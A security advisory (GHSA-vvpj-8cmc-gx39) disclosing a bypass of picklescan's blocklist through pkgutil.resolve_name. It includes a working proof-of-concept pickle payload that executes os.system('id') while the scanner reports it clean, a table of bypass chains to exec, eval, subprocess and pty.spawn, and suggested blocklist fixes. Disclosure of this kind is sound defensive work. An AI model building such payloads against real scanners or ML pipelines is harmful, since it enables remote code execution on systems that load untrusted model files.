GHSA-VVPJ-8CMC-GX39

Vulnerability from github – Published: 2026-03-03 20:04 – Updated: 2026-03-03 20:04
VLAI
Summary
PickleScan's pkgutil.resolve_name has a universal blocklist bypass
Details

Summary

pkgutil.resolve_name() is a Python stdlib function that resolves any "module:attribute" string to the corresponding Python object at runtime. By using pkgutil.resolve_name as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., os.system, builtins.exec, subprocess.call) without that function appearing in the pickle's opcodes. picklescan only sees pkgutil.resolve_name (which is not blocked) and misses the actual dangerous function entirely.

This defeats picklescan's entire blocklist concept — every single entry in _unsafe_globals can be bypassed.

Severity

Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.

Affected Versions

  • picklescan <= 1.0.3 (all versions including latest)

Details

How It Works

A pickle file uses two chained REDUCE calls:

1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCE

picklescan's opcode scanner sees: - STACK_GLOBAL with module=pkgutil, name=resolve_nameNOT in blocklist → CLEAN - The second REDUCE operates on a stack value (the return of the first call), not on a global import → invisible to scanner

The string "os:system" is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.

Decompiled Pickle (what the data actually does)

from pkgutil import resolve_name
_var0 = resolve_name('os:system')          # Returns the actual os.system function
_var1 = _var0('malicious_command')          # Calls os.system('malicious_command')
result = _var1

Confirmed Bypass Targets

Every entry in picklescan's blocklist can be reached via resolve_name:

Chain Resolves To Confirmed RCE picklescan Result
resolve_name("os:system") os.system YES CLEAN
resolve_name("builtins:exec") builtins.exec YES CLEAN
resolve_name("builtins:eval") builtins.eval YES CLEAN
resolve_name("subprocess:getoutput") subprocess.getoutput YES CLEAN
resolve_name("subprocess:getstatusoutput") subprocess.getstatusoutput YES CLEAN
resolve_name("subprocess:call") subprocess.call YES (shell=True needed) CLEAN
resolve_name("subprocess:check_call") subprocess.check_call YES (shell=True needed) CLEAN
resolve_name("subprocess:check_output") subprocess.check_output YES (shell=True needed) CLEAN
resolve_name("posix:system") posix.system YES CLEAN
resolve_name("cProfile:run") cProfile.run YES CLEAN
resolve_name("profile:run") profile.run YES CLEAN
resolve_name("pty:spawn") pty.spawn YES CLEAN

Total: 11+ confirmed RCE chains, all reporting CLEAN.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# resolve_name("os:system")("id")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("pkgutil") + sbu("resolve_name") + b"\x93"  # STACK_GLOBAL
    + sbu("os:system") + b"\x85" + b"R"                # REDUCE: resolve_name("os:system")
    + sbu("id") + b"\x85" + b"R"                       # REDUCE: os.system("id")
    + b"."                                               # STOP
)

# picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)

Why pkgutil Is Not Blocked

picklescan's _unsafe_globals (v1.0.3) does not include pkgutil. The module is a standard import utility — its primary purpose is module/package resolution. However, resolve_name() can resolve ANY attribute from ANY module, making it a universal gadget.

Note: fickling DOES block pkgutil in its UNSAFE_IMPORTS list.

Impact

This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in _unsafe_globals — is rendered ineffective. An attacker needs only use pkgutil.resolve_name as an indirection layer to call any Python function.

This affects: - HuggingFace Hub (uses picklescan) - Any ML pipeline using picklescan for safety validation - Any system relying on picklescan's blocklist to prevent malicious pickle execution

Suggested Fix

  1. Immediate: Add pkgutil to _unsafe_globals: python "pkgutil": {"resolve_name"},

  2. Also block similar resolution functions: python "importlib": "*", "importlib.util": "*",

  3. Architectural: The blocklist approach cannot defend against indirect resolution gadgets. Even blocking pkgutil, an attacker could find other stdlib functions that resolve module attributes. Consider:

  4. Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching "module:function")
  5. Treating unknown globals as dangerous by default
  6. Switching to an allowlist model
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "picklescan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T20:04:20Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`pkgutil.resolve_name()` is a Python stdlib function that resolves any `\"module:attribute\"` string to the corresponding Python object at runtime. By using `pkgutil.resolve_name` as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., `os.system`, `builtins.exec`, `subprocess.call`) without that function appearing in the pickle\u0027s opcodes. picklescan only sees `pkgutil.resolve_name` (which is not blocked) and misses the actual dangerous function entirely.\n\nThis defeats picklescan\u0027s **entire blocklist concept** \u2014 every single entry in `_unsafe_globals` can be bypassed.\n\n## Severity\n\n**Critical** (CVSS 10.0) \u2014 Universal bypass of all blocklist entries. Any blocked function can be invoked.\n\n## Affected Versions\n\n- picklescan \u003c= 1.0.3 (all versions including latest)\n\n## Details\n\n### How It Works\n\nA pickle file uses two chained REDUCE calls:\n\n```\n1. STACK_GLOBAL: push pkgutil.resolve_name\n2. REDUCE: call resolve_name(\"os:system\") \u2192 returns os.system function object\n3. REDUCE: call the returned function(\"malicious command\") \u2192 RCE\n```\n\npicklescan\u0027s opcode scanner sees:\n- `STACK_GLOBAL` with module=`pkgutil`, name=`resolve_name` \u2192 **NOT in blocklist** \u2192 CLEAN\n- The second `REDUCE` operates on a stack value (the return of the first call), not on a global import \u2192 **invisible to scanner**\n\nThe string `\"os:system\"` is just data (a SHORT_BINUNICODE argument to the first REDUCE) \u2014 picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.\n\n### Decompiled Pickle (what the data actually does)\n\n```python\nfrom pkgutil import resolve_name\n_var0 = resolve_name(\u0027os:system\u0027)          # Returns the actual os.system function\n_var1 = _var0(\u0027malicious_command\u0027)          # Calls os.system(\u0027malicious_command\u0027)\nresult = _var1\n```\n\n### Confirmed Bypass Targets\n\nEvery entry in picklescan\u0027s blocklist can be reached via resolve_name:\n\n| Chain | Resolves To | Confirmed RCE | picklescan Result |\n|-------|------------|---------------|-------------------|\n| `resolve_name(\"os:system\")` | `os.system` | YES | CLEAN |\n| `resolve_name(\"builtins:exec\")` | `builtins.exec` | YES | CLEAN |\n| `resolve_name(\"builtins:eval\")` | `builtins.eval` | YES | CLEAN |\n| `resolve_name(\"subprocess:getoutput\")` | `subprocess.getoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:getstatusoutput\")` | `subprocess.getstatusoutput` | YES | CLEAN |\n| `resolve_name(\"subprocess:call\")` | `subprocess.call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_call\")` | `subprocess.check_call` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"subprocess:check_output\")` | `subprocess.check_output` | YES (shell=True needed) | CLEAN |\n| `resolve_name(\"posix:system\")` | `posix.system` | YES | CLEAN |\n| `resolve_name(\"cProfile:run\")` | `cProfile.run` | YES | CLEAN |\n| `resolve_name(\"profile:run\")` | `profile.run` | YES | CLEAN |\n| `resolve_name(\"pty:spawn\")` | `pty.spawn` | YES | CLEAN |\n\n**Total:** 11+ confirmed RCE chains, all reporting CLEAN.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# resolve_name(\"os:system\")(\"id\")\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 55)\n    + sbu(\"pkgutil\") + sbu(\"resolve_name\") + b\"\\x93\"  # STACK_GLOBAL\n    + sbu(\"os:system\") + b\"\\x85\" + b\"R\"                # REDUCE: resolve_name(\"os:system\")\n    + sbu(\"id\") + b\"\\x85\" + b\"R\"                       # REDUCE: os.system(\"id\")\n    + b\".\"                                               # STOP\n)\n\n# picklescan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN!\n\n# Execute: runs os.system(\"id\") \u2192 RCE\npickle.loads(payload)\n```\n\n### Why `pkgutil` Is Not Blocked\n\npicklescan\u0027s `_unsafe_globals` (v1.0.3) does not include `pkgutil`. The module is a standard import utility \u2014 its primary purpose is module/package resolution. However, `resolve_name()` can resolve ANY attribute from ANY module, making it a universal gadget.\n\n**Note:** fickling DOES block `pkgutil` in its `UNSAFE_IMPORTS` list.\n\n## Impact\n\nThis is a **complete bypass** of picklescan\u0027s security model. The entire blocklist \u2014 every module and function entry in `_unsafe_globals` \u2014 is rendered ineffective. An attacker needs only use `pkgutil.resolve_name` as an indirection layer to call any Python function.\n\nThis affects:\n- HuggingFace Hub (uses picklescan)\n- Any ML pipeline using picklescan for safety validation\n- Any system relying on picklescan\u0027s blocklist to prevent malicious pickle execution\n\n## Suggested Fix\n\n1. **Immediate:** Add `pkgutil` to `_unsafe_globals`:\n   ```python\n   \"pkgutil\": {\"resolve_name\"},\n   ```\n\n2. **Also block similar resolution functions:**\n   ```python\n   \"importlib\": \"*\",\n   \"importlib.util\": \"*\",\n   ```\n\n3. **Architectural:** The blocklist approach cannot defend against indirect resolution gadgets. Even blocking `pkgutil`, an attacker could find other stdlib functions that resolve module attributes. Consider:\n   - Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching `\"module:function\"`)\n   - Treating unknown globals as dangerous by default\n   - Switching to an allowlist model",
  "id": "GHSA-vvpj-8cmc-gx39",
  "modified": "2026-03-03T20:04:20Z",
  "published": "2026-03-03T20:04:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vvpj-8cmc-gx39"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mmaitre314/picklescan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PickleScan\u0027s pkgutil.resolve_name has a universal blocklist bypass"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…